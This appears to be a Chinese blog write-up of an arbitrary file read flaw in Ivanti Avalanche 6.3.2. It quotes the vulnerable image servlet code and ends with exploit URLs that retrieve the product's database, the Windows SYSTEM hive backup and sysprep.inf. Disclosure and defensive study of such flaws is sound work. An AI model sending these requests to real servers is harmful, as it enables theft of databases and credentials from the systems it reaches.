Ivanti_Avalanche目录便利任意文件漏洞读取

# Ivanti Avalanche目录便利任意文件漏洞读取

## 漏洞描述

Ivanti Avalanche是美国Ivanti公司的一套企业移动设备管理系统。该系统主要用于管理智能手机、平板电脑等设备。该漏洞存在于读取存储的头像图片位置,未进行限制格式与目录,造成了任意文件读取。

## 漏洞影响

> Avalanche Premise 6.3.2 for Windows v6.3.2.3490

## 关键代码

“`
String paramImageFilePath = request.getParameter(“imageFilePath”); // vulnerable GET parameter
boolean cacheImage = true;
String parameterIcon = request.getParameter(“icon”);
if (paramImageFilePath != null) {
File imageFile = new File(paramImageFilePath); // reading from user-input path
byte[] icon = FileUtils.readFileToByteArray(imageFile);
String queryString = request.getQueryString();
if (icon != null && icon.length > 0) {
handleIcon(response, icon, queryString, false); // outputting the contents
} else {
logger.warn(String.format(“ImageServlet::missing icon for device(%s)”, new Object[] {
queryString
}));
}

private void handleIcon(HttpServletResponse response, byte[] icon, String imageSource, boolean cacheImage) throws IOException {
response.setContentLength(icon.length);
if (cacheImage) {
HttpUtils.expiresOneWeek(response);
} else {
HttpUtils.expiresNow(response);
}
ImageInputStream inputStream = ImageIO.createImageInputStream(new ByteArrayInputStream(icon));
try {
Iterator < ImageReader > imageReaders = ImageIO.getImageReaders(inputStream);
if (imageReaders.hasNext()) {
ImageReader reader = imageReaders.next();
String formatName = reader.getFormatName();
response.setContentType(String.format(“image/%s”, new Object[] {
formatName
}));
} else {
logger.warn(String.format(“ImageServlet::unknown image format for (%s)”, new Object[] {
imageSource
}));
}
} finally {
try {
inputStream.close();
} catch (IOException iOException) {}
}
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(icon); // outputting the contents of the file
}
“`

从代码中可以看出文件的访问没有限制到存储位置,允许远程攻击者为在其他地方的文件提供完整的路径并检索其内容。

## EXP

访问路径https://IP:8443/AvalancheWeb/image?imageFilePath=即可,例如下载DB,如下:

“`
https://IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf
“`

“`
https://IP:8443/AvalancheWeb/image?imageFilePath=C:/Windows/system32/config/system.sav
“`

“`
https://IP:8443/AvalancheWeb/image?imageFilePath=C:/sysprep/sysprep.inf
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容